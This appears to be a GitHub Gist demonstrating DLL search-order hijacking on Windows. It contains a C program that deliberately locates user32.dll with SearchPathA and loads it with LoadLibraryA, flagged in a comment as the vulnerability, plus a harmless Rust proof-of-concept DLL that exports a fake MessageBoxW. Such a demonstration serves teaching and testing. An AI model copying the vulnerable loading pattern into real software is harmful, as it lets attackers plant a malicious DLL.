Last active
September 21, 2019 10:14
-
-
Save segfo/cd842465ab3cdea038545d4fa3b7ee13 to your computer and use it in GitHub Desktop.
DLL検索順序の不備によるDLLの乗っ取りに脆弱なコードと検証用コード
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[package] | |
name = "sideloading_dll" | |
version = "0.1.0" | |
authors = ["segfo <[email protected]>"] | |
edition = "2018" | |
[lib] | |
name = "sideloading" | |
path = "src/lib.rs" | |
crate-type = ["dylib"] | |
[dependencies] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#[no_mangle] | |
pub extern "C" fn MessageBoxW(handle: usize,text:usize,caption:usize,icon_type:i32) -> bool { | |
println!("side loading !"); | |
return true; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <tchar.h> | |
#include<stdio.h> | |
typedef int (*MSGBOX)(HWND,LPCWSTR,LPCWSTR,UINT); | |
int main(){ | |
char user32_path[255]={0}; | |
char *file_name = NULL; | |
// DLLのサーチを行う(!!!!!Vulnerability!!!!!) | |
SearchPathA(NULL,"user32.dll",NULL,255,user32_path,&file_name); | |
// サーチしたDLLパスからDLLを読み込む | |
HMODULE user32 = LoadLibraryA(user32_path); | |
// MessageBox関数のポインタを取得する | |
MSGBOX F_MessageBoxW =(MSGBOX) GetProcAddress(user32, "MessageBoxW"); | |
// 使う | |
F_MessageBoxW(NULL,L"hello world!",L"not malware!",0); | |
FreeLibrary(user32); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment